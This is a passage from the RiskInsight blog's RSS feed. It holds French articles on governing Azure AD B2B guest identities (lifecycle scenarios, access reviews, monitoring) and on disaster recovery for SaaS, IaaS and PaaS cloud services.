<h2 class="wp-block-heading"><a>Bien gérer le cycle de vie des identités « invité » : 3 Scénarios à considérer</a></h2>



<p>Comme évoqué précédemment, le sujet clé reste la <strong>maitrise du cycle de vie des identités «&nbsp;invités&nbsp;»</strong>&nbsp;: Création, suppression, et revue des accès. 3 scénarios peuvent être envisagés, en fonction de la <strong>couverture du risque</strong> souhaitée, du <strong>niveau de maturité de la gestion des identités</strong> et des accès, et du <strong>coût de mise en œuvre</strong> du scénario.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="986" height="557" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture6.png" alt="" class="wp-image-18343" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture6.png 986w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture6-338x191.png 338w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture6-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture6-768x434.png 768w" sizes="auto, (max-width: 986px) 100vw, 986px" /><figcaption>Figure 5 &#8211; Scénarios de gestion du cycle de vie des identités « invité »</figcaption></figure>



<h3 class="wp-block-heading"><a>Scénario 1 &#8211; Rester pragmatique avec un petit budget : utiliser les outils et configurations natives</a></h3>



<p>Dans ce scénario, l’entreprise <strong>dédie une certaine typologie de groupe au partage à l’externe</strong>, et donc à la création d’invités. La distinction peut se faire par la nomenclature du groupe par exemple&nbsp;: tous les groupes externes doivent commencer par «&nbsp;X_&nbsp;», ce qui nécessite de contrôler la création des groupes au préalables.</p>



<p>Elle peut ainsi réaliser des contrôles plus facilement sur ce périmètre restreint de groupes.</p>



<p>Le prérequis principal est de <strong>bloquer les ajouts d’identités «&nbsp;invités&nbsp;» aux groupes de type «&nbsp;Internes&nbsp;»</strong>, et il est possible de le faire de deux façons&nbsp;:</p>



<ul class="wp-block-list"><li>Si l’entreprise a déployé l’outil de classification AIP sur les espaces SharePoint et Teams&nbsp;: <strong>utilisation d’une étiquette dédiée</strong> pour empêcher le partage aux externes sur ces espaces. Exemple&nbsp;: création d’un label «&nbsp;Interne&nbsp;» qui bloque le partage avec les identités «&nbsp;invité&nbsp;»&nbsp;; &#8211; <a href="https://docs.microsoft.com/en-us/microsoft-365/compliance/sensitivity-labels-teams-groups-sites?view=o365-worldwide">LIEN</a></li><li><strong>Via un script PowerShell</strong>, bloquer le partage avec les identités «&nbsp;invité&nbsp;» pour les groupes «&nbsp;Internes », en les identifiant via leur nomenclature. &#8211; <a href="https://docs.microsoft.com/en-us/microsoft-365/solutions/per-group-guest-access?view=o365-worldwide">LIEN</a></li></ul>



<h4 class="wp-block-heading">Création d’une identité «&nbsp;invité&nbsp;»</h4>



<p>La seule possibilité pour créer une identité «&nbsp;invité&nbsp;» est de les <strong>ajouter des utilisateurs externes dans des groupes de type «&nbsp;Externes&nbsp;»</strong>.</p>



<p>Si l’entreprise a besoin de donner accès à son tenant à une filiale ou une entité entière, il est possible de synchroniser régulièrement leur AD ou Azure AD, et ainsi créer leurs identités en «&nbsp;invité&nbsp;» dans le tenant de l’entreprise.</p>



<h4 class="wp-block-heading">Suppression d’une identités «&nbsp;invité&nbsp;»</h4>



<p>Le processus de suppression des identités reste basique, avec à minima la <strong>suppression des identités «&nbsp;invités&nbsp;» inactif</strong>, en utilisant par exemple un script PowerShell s’appuyant sur la notion de «&nbsp;Sign In Activity&nbsp;». Il pourra également être intéressant de supprimer les identités «&nbsp;invité&nbsp;» n’ayant accès à aucun groupe via un script PowerShell.</p>



<h4 class="wp-block-heading">Revue des accès «&nbsp;invité&nbsp;»</h4>



<p>Pour couvrir le risque lié à la revue des accès dans ce scénario, il est possible de <strong>faire expirer les accès des identités «&nbsp;invité&nbsp;»</strong> sur les groupes SharePoint ou les OneDrive au bout de 60 jours. Il est à noter que le propriétaire des groupes SharePoint ou OneDrive sera notifié de l’expiration 21 jours avant échéance.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1027" height="372" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7.png" alt="" class="wp-image-18347" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7.png 1027w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7-437x158.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7-768x278.png 768w" sizes="auto, (max-width: 1027px) 100vw, 1027px" /><figcaption>Figure 6 &#8211; Expiration des accès des invités</figcaption></figure>



<p>Enfin, il est envisageable d’utiliser la fonctionnalité «&nbsp;Guest Access Review&nbsp;» pour les groupes externes où le partage à des invités est possible. Il faut cependant noter qu’elle nécessite des licences avancées (AAD P2) attribuées aux utilisateurs devant effectuer les revues, donc tous les propriétaires des groupes en question (normalement en nombre limité).</p>



<p><strong>Ce scénario est un bon moyen de réduire le risque lié aux invités, en gardant une solution quasi native, et sans trop investir dans la solution.</strong></p>



<h3 class="wp-block-heading"><a>Scénario 2 &#8211; Pour aller plus loin dans le niveau de sécurité : développer une application de gestion des invités</a></h3>



<p>Dans ce second scénario, l’entreprise souhaite <strong>avoir complètement la main sur la gestion du cycle de vie des identités «&nbsp;invité&nbsp;»</strong>, et sortir du mécanisme natif trop permissif de Microsoft. Pour ce faire, l’entreprise <strong>crée une application</strong> (par exemple en utilisant Power App) pour gérer ce cycle de vie, en en faisant le point unique de création et suppression.</p>



<p>Une fois ce cycle de vie mis en place, il est nécessaire de positionner le paramètre de partage SharePoint sur le mode «&nbsp;Existing guest only&nbsp;», permettant uniquement de partager du contenu avec des identités «&nbsp;invité&nbsp;» déjà existante dans le tenant Azure AD. Ceci permet d’empêcher la création de nouvelles identités via ce vecteur.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1048" height="585" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8.png" alt="" class="wp-image-18349" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8.png 1048w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8-768x429.png 768w" sizes="auto, (max-width: 1048px) 100vw, 1048px" /><figcaption>Figure 7 &#8211; Restriction des possibilités de partage</figcaption></figure>



<h4 class="wp-block-heading">&nbsp;Création d’une identité «&nbsp;invité&nbsp;»</h4>



<p>Dans ce scénario les utilisateurs <strong>utilisent l’application dédiée pour créer les identités</strong> <strong>«&nbsp;invité&nbsp;»,</strong> en renseignant une date de fin. L’utilisateur désigne alors le propriétaire de l’identité créée.</p>



<h4 class="wp-block-heading">Suppression d’une identité «&nbsp;invité&nbsp;»</h4>



<p>Pour supprimer les identités, il est possible de <strong>déclencher un workflow automatique</strong> en amont de la date de fin, pour demander au propriétaire de l’identité en question s’il faut effectivement la supprimer ou prolonger sa date de fin. Il est à noter que si le propriétaire a quitté l’entreprise sans faire le changement de propriétaire, on peut envisager de réaffecter l’invité à son supérieur hiérarchique.</p>



<h4 class="wp-block-heading">Revue des accès «&nbsp;invité&nbsp;»</h4>



<p>Avec ce type d’application «&nbsp;maison&nbsp;», il est compliqué d’aller beaucoup plus loin dans la gestion du cycle de vie, et notamment quand il s’agit de revue des accès.</p>



<p>Il est toujours possible comme pour le scénario 1 de faire expirer les accès des invités ou d’utiliser la fonctionnalité «&nbsp;Guest Access review&nbsp;» (avec les mêmes contraintes qu’énoncé précédemment).</p>



<p>Pour aller plus loin, on peut également envisager l’utilisation d’outils tiers type IDECSI ou Sharegate qui permettent notamment de gérer ces revues d’accès de façon automatique et intuitive.</p>



<p><strong>Ce scénario change le comportement natif et permet de mieux maitriser le cycle de vie, mais à un coup important au regard du déploiement et de la conduite du changement à mettre en œuvre.</strong></p>



<h3 class="wp-block-heading"><a>Scénario 2’ &#8211; Intégrer les identités « invité » dans les processus IAM classiques</a></h3>



<p>Le dernier scénario à considérer est une variante du scénario précédent, où l’entreprise souhaite toujours avoir la main sur la gestion du cycle de vie des identités «&nbsp;invité ». L’entreprise peut dans ce cas <strong>intégrer la gestion des identités «&nbsp;invités&nbsp;» dans ses outils de gestion des identités et des accès (IAM)</strong>, au même titre que les identités «&nbsp;externe ».</p>



<p>L’outil IAM devient alors la <strong>source autoritaire</strong> pour ce type de population, et sa gestion s’y fait directement.</p>



<p>Dans ce scénario comme dans le précédent il faut également positionner le paramètre de partage SharePoint sur le mode «&nbsp;Existing guest only&nbsp;».</p>



<h4 class="wp-block-heading">Création d’une identité «&nbsp;invité&nbsp;»</h4>



<p>La création des identités se fait via les <strong>formulaires de création d’externes</strong> depuis les outils IAM, en choisissant le type «&nbsp;invité&nbsp;» pour l’identité. L’identité «&nbsp;invité&nbsp;» pourra ensuite être provisionnée automatiquement dans l’Azure AD par les outils IAM.</p>



<h4 class="wp-block-heading">Suppression d’une identité «&nbsp;invité&nbsp;»</h4>



<p>La suppression de l’identité est également <strong>faite par l’outil IAM</strong> en fonction de la date de fin positionnée, et selon les workflows déjà définis.</p>



<h4 class="wp-block-heading">Revues des accès «&nbsp;invité&nbsp;»</h4>



<p>Dans le cas où les outils IAM de l’entreprise sont utilisés pour gérer les droits sur les espaces Sharepoint, il est possible d’utiliser les <strong>capacités de revue d’accès de ces outils</strong> pour faire la revue des accès aux ressources sensibles auxquelles ont accès les identités «&nbsp;invité&nbsp;».</p>



<p>Une deuxième option peut également être d’utiliser les fonctionnalités de gouvernance des accès via les solutions IAM type Sailpoint, OneIdentity ou via des solutions dédiées d’Identity and Access Governance type Brainwave ou Varonis. On peut imaginer récupérer les droits attribués directement dans l’Azure AD, et les faire vérifier aux propriétaires des ressources à travers ces outils.</p>



<p><strong>Ce scénario est une variante du scénario 2, qui permet aux entreprises les plus matures sur la gestion des identités et des accès de capitaliser sur les outils et processus existant.</strong></p>



<h2 class="wp-block-heading"><a>Enfin, ne pas négliger la surveillance de cette population exposée</a></h2>



<p>En premier lieu il est pertinent de construire un <strong>reporting adapté à l’aide de KPI et tableaux de bord</strong>. Beaucoup d’informations sont disponibles nativement dans l’Azure AD (date de dernière connexion, activité sur le tenant ainsi que sur Office 365 via les «&nbsp;unified audit logs&nbsp;»). Ces informations peuvent assez simplement être exploités par exemple via Power bi pour la génération de tableaux de bord.</p>



<p>Ensuite, il est important de <strong>surveiller les activités de ces populations particulièrement exposées</strong>. Deux niveaux de détection peuvent être mis en place en fonction des capacités de surveillance&nbsp;:</p>



<ul class="wp-block-list"><li>Implémenter des <strong>règles de DLP natives</strong> ou des <strong>scénarios d’alertes classiques</strong> dans la console Microsoft&nbsp;: certains scénarios d’alertes sont préconfigurés comme la suppression massive de documents, une élévation de privilège etc.</li><li>Mettre en place des <strong>règles DLP avancées</strong> et des scénarios de détection ou des seuils spécifiques pour les invités <strong>avec l’appui du SOC de l’entreprise</strong>. Par exemple, le seuil de téléchargement de données autorisé pour un invité peut être inférieur à celui autorisé pour un interne.</li></ul>



<p>Pour aller plus loin on peut imaginer l’utilisation du module <strong>Azure AD Identity Protection</strong>, afin de déclencher des alertes pour les invités ayant un niveau de risque élevés.</p>



<h1 class="wp-block-heading"><a>En conclusion, AAD B2B facilite grandement la collaboration, mais sa configuration nécessite d’être durcie pour réduire le niveau de risque induit par la solution</a></h1>



<p>AAD B2B <strong>simplifie</strong> grandement la collaboration avec des utilisateurs externes à l’entreprise, mais induit des <strong>risques liés à l’ouverture par défaut</strong> de la solution. Pour maitriser ces risques, il est nécessaire de <strong>réduire l’ouverture</strong>, et de <strong>contrôler le cycle de vie de ces identités</strong> de façon plus ou moins avancé, en fonction de l’investissement possible sur le sujet. Enfin il faut également mettre l’accent sur leur <strong>surveillance</strong> via les outils natifs ou les outils utilisés par l’entreprise, étant donné la forte exposition de ces populations.</p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/07/bien-gerer-les-identites-invites-azure-ad-b2b/">Bien gérer les identités « Invités » Azure AD B2B</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/07/bien-gerer-les-identites-invites-azure-ad-b2b/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Le Cloud, la fin ou renouveau du secours informatique ?</title>
		<link>https://www.riskinsight-wavestone.com/2017/08/le-cloud-la-fin-ou-renouveau-du-secours-informatique/</link>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Thu, 17 Aug 2017 17:36:50 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Cloud security]]></category>
		<category><![CDATA[IaaS]]></category>
		<category><![CDATA[PaaS]]></category>
		<category><![CDATA[PCA]]></category>
		<category><![CDATA[PCI]]></category>
		<category><![CDATA[PRA]]></category>
		<category><![CDATA[PSI]]></category>
		<category><![CDATA[SaaS]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=9954/</guid>

					<description><![CDATA[<p>Les entreprises ont de plus en plus recours aux services cloud (SaaS, PaaS, IaaS) pour leur environnement informatique. Ils apportent plus de flexibilité avec des coûts pouvant être plus avantageux qu’une infrastructure classique. En 2016, en France, 48% des entreprises...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2017/08/le-cloud-la-fin-ou-renouveau-du-secours-informatique/">Le Cloud, la fin ou renouveau du secours informatique ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>Les entreprises ont de plus en plus recours aux services cloud (SaaS, PaaS, IaaS) pour leur environnement informatique. Ils apportent plus de flexibilité avec des coûts pouvant être plus avantageux qu’une infrastructure classique. <a href="https://www.insee.fr/fr/statistiques/2672067">En 2016, en France, 48% des entreprises de plus 250 personnes y avaient recours soit une augmentation de 12 points par rapport à 2014.</a> La plus grande disponibilité des infrastructures Cloud est souvent identifiée comme une opportunité. Néanmoins, le risque de défaillance d’un datacenter du fournisseur n’est que rarement traité, alors que ses services reposent sur des datacenters bien physiques et non pas sur des nuages. Ces datacenters font face aux mêmes menaces que les « datacenters traditionnels » : catastrophes naturelles, erreurs humaines… Il est donc nécessaire de se demander comment assurer le secours informatique de ces infrastructures Cloud.</em></p>
<h2>Le secours informatique SaaS, une responsabilité du fournisseur à formaliser</h2>
<p>Un service SaaS (<em>Software as a Service</em>) est un logiciel mis à disposition et directement consommable depuis Internet. Il est géré et administré par un ou plusieurs fournisseurs.  Le client n’a donc pas la latitude nécessaire pour opérer le secours (pas d’accès aux données brutes, pas d’accès aux codes sources, ni aux applicatifs pour dupliquer l’infrastructure…), il doit donc s’en remettre au bon vouloir de son fournisseur.</p>
<h3>Un niveau de couverture du secours informatique pour SaaS variable suivant la maturité du fournisseur</h3>
<p>Trois grandes tendances se dessinent :</p>
<ul>
<li><strong>Les fournisseurs qui disposent d’un plan de secours informatique inclus<br />
</strong>Dans le cadre de l’offre standard, le fournisseur assure un secours sur un datacenter distant, complété généralement par des sauvegardes externalisées. Il ne s’engage néanmoins que rarement sur les délais de reprise.<br />
<em><em>Ex : les grands acteurs du SaaS (ex : Office 365, SalesForce, SAP…) , ainsi que certains acteurs de taille intermédiaire (ex : Evernote, Xero…) ;</em></em></li>
</ul>
<ul>
<li><strong>Les fournisseurs qui disposent simplement d’une sauvegarde externalisée<br />
</strong>En tant que tel, aucun plan de secours informatique n’est clairement établi. Le client doit alors s’interroger sur la capacité du fournisseur à restaurer les sauvegardes en cas de sinistre global sur le site principal.<br />
<em>Ex : Des fournisseurs de taille intermédiaire (ex : Zervant, Sellsy…) ;</em></li>
</ul>
<ul>
<li><strong>Les fournisseurs qui ne communiquent pas ou n’en disposent pas<br />
</strong>Le sujet du secours informatique n’est pas abordé, il est donc préférable de considérer que rien n’est fait.<br />
<em>Ex : Les acteurs de petite taille sont généralement dans ce cas.</em></li>
</ul>
<h3>L&rsquo;importance de l&rsquo;aspect contractuel<strong><br />
</strong></h3>
<p>Dans la très grande majorité des cas, les fournisseurs SaaS ne s’engagent pas dans leur contrat sur leur façon de gérer le secours ; même lorsque ceux-ci mettent en avant leur capacité à traiter cette problématique. En effet, les contrats comportent généralement par défaut des clauses de Force Majeure stipulant que le fournisseur n’est pas responsable de manquement aux obligations du contrat dans la mesure où ce manquement est causé par un évènement en dehors de leur contrôle raisonnable. Le risque juridique doit donc être traité lors de la souscription et ces clauses supprimées pour s’assurer un bon niveau de couverture.</p>
<p>Lors de la souscription, comme pour des contrats classiques, les clients doivent s’assurer que figure bien des engagements de service, en particulier pour les secours informatiques :</p>
<ul>
<li>Le <strong>délai de reprise</strong> (Durée Maximale d’Interruption Acceptable ou DMIA) et les <strong>pertes de données</strong> (Perte de Données Maximale Acceptable ou PDMA) en cas de sinistre;</li>
<li>Le <strong>plan de secours informatique du fournisseur incluant les modalités de gestion de crise</strong> ainsi que l’obligation de conduire plusieurs <strong>tests</strong> <strong>probants</strong> par an de ce plan avec la possibilité pour le client d’accès au rapport des tests ;</li>
<li>Les <strong>pénalités financières</strong> et le droit de résilier le contrat (avec en particulier la récupération des données exploitables) en cas de manquement aux engagements.</li>
</ul>
<h2>Le secours informatique du IaaS/PaaS, une mise en oeuvre et une responsabilité du client</h2>
<p>Le IaaS (<em>Infrastructure as a Service</em>) est une offre standardisée et automatisée de ressources de calcul, de moyens de stockage et de ressources réseau détenus et hébergés par un fournisseur et mis à disposition au client à la demande. L’offre PaaS (<em>Platform as a Service</em>) est similaire à celle du IaaS, à la différence près qu’elle ne concerne que les infrastructures applicative (définitions Gartner)<a href="#_ftn1" name="_ftnref1"></a> Contrairement au cas du SaaS, le secours reste sous la responsabilité du client dans les deux cas : les fournisseurs IaaS/PaaS mettent à disposition des ressources dans différents datacenters et le client est responsable de l’usage et de la configuration qu’il en fait. Deux solutions s’offrent aux clients utilisant ces services : confier à un prestataire son secours ou bien le gérer lui-même.</p>
<h3>Avoir recours à un prestataire de secours, un marché peu mature<strong><br />
</strong></h3>
<p>Les prestataires de secours dans le Cloud sont désignés par l’acronyme « DRaaS » pour <em>Disaster Recovery as a Service</em>. Initialement, les fournisseurs DRaaS proposaient d’assurer dans le Cloud le secours de votre SI « on-premise ». Mais ils proposent également aujourd’hui d’assurer le secours de vos infrastructures déjà dans le Cloud, AWS ou Azure par exemple. La maturité reste très variable selon les fournisseurs et le cloud utilisé. Certains fournisseurs DRaaS imposent que le Cloud de destination du secours soit le leur, ne permettant pas ainsi de couvrir le secours de service PaaS.</p>
<p>Comme avec le SaaS, <strong>pas de garanties incluses</strong> <strong>par défaut</strong> quant aux pertes de données ou au délai de reprise, il faut les négocier. Les fournisseurs promettent de pouvoir s’adapter aux exigences du client ! Pour s’assurer que le secours fonctionne, le client doit prévoir la réalisation régulière de <strong>tests probants du secours </strong>(recommandation d’une fois par an).</p>
<h3>Réaliser soi-même son secours en utilisant les outils proposés par le fournisseur<strong><br />
</strong></h3>
<p>Comme sur une infrastructure « on-premise », il est nécessaire de réfléchir et définir sa stratégie de secours dès la conception. Cette stratégie doit intégrer la capacité de réaliser des tests probants permettant d’assurer un niveau de confiance suffisant dans son plan.</p>
<p>La mise en place est simplifiée par les outils mis à disposition par les fournisseurs Cloud et la forte standardisation des environnements Cloud. Les grands acteurs publient dans des livres blancs les grandes lignes directrices pour mettre en place un tel projet (par exemple <a href="https://d0.awsstatic.com/International/fr_FR/whitepapers/aws-disaster-recovery.pdf.pdf">AWS</a> ou <a href="https://docs.microsoft.com/en-us/azure/architecture/resiliency/disaster-recovery-azure-applications">Azure</a>).</p>
<p><strong>Les concepts des stratégies du secours informatique restent proches de celles pour les datacenters on-premise.</strong></p>
<p>On peut en dénombrer quatre principales :</p>
<ul>
<li><strong>la sauvegarde et restauration</strong>: simple sauvegarde des données et images des machines sur un site distant, restaurées en cas de sinistre ;</li>
<li><strong>la veilleuse</strong>: réplication des bases de données et mise à disposition des machines sous forme d’images prêtes à être démarrées en cas de sinistre ;</li>
<li><strong>le secours à chaud</strong>: réplication complète du site primaire (données et machines), le site de secours est sous-dimensionné en termes de performances et est prêt à monter en charge en cas sinistre ;</li>
<li><strong>le multi site (ou actif-actif)</strong>: les deux sites sont identiques et se partagent la charge des utilisateurs. En cas de sinistre, le site restant peut monter en charge pour accueillir la totalité des utilisateurs.</li>
</ul>
<p>Des solutions hybrides pouvant mieux s’adapter aux exigences de délai de reprise, coût et complexité de la solution peuvent être envisagées.</p>
<p><strong>Le véritable apport du Cloud pour le secours concerne les nombreux outils mis à disposition simplifiant la mise en œuvre et le déclenchement. </strong></p>
<p>La réplication des données est ainsi simplifiée pour les options de géo-réplication asynchrones (plusieurs copies répliquées dans d’autres régions). La PDMA est variable en fonction des types de données et des outils proposés. Au-delà de cette option, une redondance locale des données est presque systématiquement incluse.</p>
<p>La forte standardisation permet également d’automatiser la reprise : les scripts ou API mis à disposition par les fournisseurs permettent d’automatiser le déploiement des infrastructures, le redimensionnement des instances en fonction de métriques précédemment définies, la répartition des charges et du trafic ou, l’adressage IP etc… afin d’accélérer de façon significative l’activation d’un site de secours.</p>
<p>Les outils de surveillance et alerte qui sont également proposés visent à faciliter le Maintien en Conditions Opérationnelles (MCO) du secours et peuvent être utilisés pour détecter au plus tôt un incident voire, dans certains cas, automatiser partiellement le déclenchement du secours.</p>
<p>Enfin la capacité à provisionner des nouvelles ressources en quelques minutes permet de limiter l’OPEX. <strong>A stratégie équivalente, il est ainsi possible d’avoir des gains de 40 à 70% sur le coût du secours !</strong></p>
<h3>Vers une plus grande prise en charge par le fournisseur ?<strong><br />
</strong></h3>
<p>Azure prévoit une <a href="https://docs.microsoft.com/fr-fr/azure/site-recovery/site-recovery-azure-to-azure">option</a>, courant 2017, pour assurer le secours des machines virtuelles hébergées au sein de leur plateforme via la complétion de leur service « Site Recovery ». En effet, « Site Recovery » propose à l’heure actuelle de prendre en charge le secours de site traditionnel en utilisant le cloud Azure pour accueillir le site secondaire, mais Microsoft souhaite étendre ce service au secours de leurs propres infrastructures. Cet outil permettrait un déploiement automatique du site secondaire (de type actif-passif), une réplication automatique des données et une mise en place de tests facilitée.</p>
<p>Cette option est passée en « public preview » fin mai 2017. Un projet équivalent n’est pas d’actualité chez les autres principaux fournisseurs IaaS/PaaS.</p>
<h2>Le cloud face au risque systémique des fournisseurs</h2>
<p>Le secours informatique des services hébergés dans le cloud s’aborde différemment selon le type de service utilisé. Le secours du SaaS doit être géré contractuellement et est sous la responsabilité du fournisseur tandis que le secours du IaaS/PaaS, simplifié par les outils, reste sous la responsabilité du client.</p>
<p>Le risque de défaillance généralisé d’une région d’hébergement d’un fournisseur existe comme le montre les derniers incidents. Même si aujourd’hui, les incidents ont été de courte durée ou avec des impacts fiables, une défaillance généralisée ne peut pas être ignorée. Reste donc à traiter la problématique de cyber-résilience. L’utilisation d’un 2<sup>ème</sup> fournisseur cloud permet de couvrir le risque de destruction ou d’indisponibilité majeure des infrastructures du premier. Cette solution reste très complexe car la portabilité d’un fournisseur à un autre est délicate. Pour l’instant, peu d’entreprises s’y sont risquées, même si l’on peut citer l’exemple de <a href="http://www.usine-digitale.fr/article/snap-se-repose-sur-le-cloud-d-amazon-pour-la-redondance-de-son-systeme-d-information.N499899">Snapchat</a> qui utilise le cloud Google pour sa production et prévoit d’utiliser celui d’Amazon pour son secours d’ici à 5 ans.</p>
<p>&nbsp;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2017/08/le-cloud-la-fin-ou-renouveau-du-secours-informatique/">Le Cloud, la fin ou renouveau du secours informatique ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
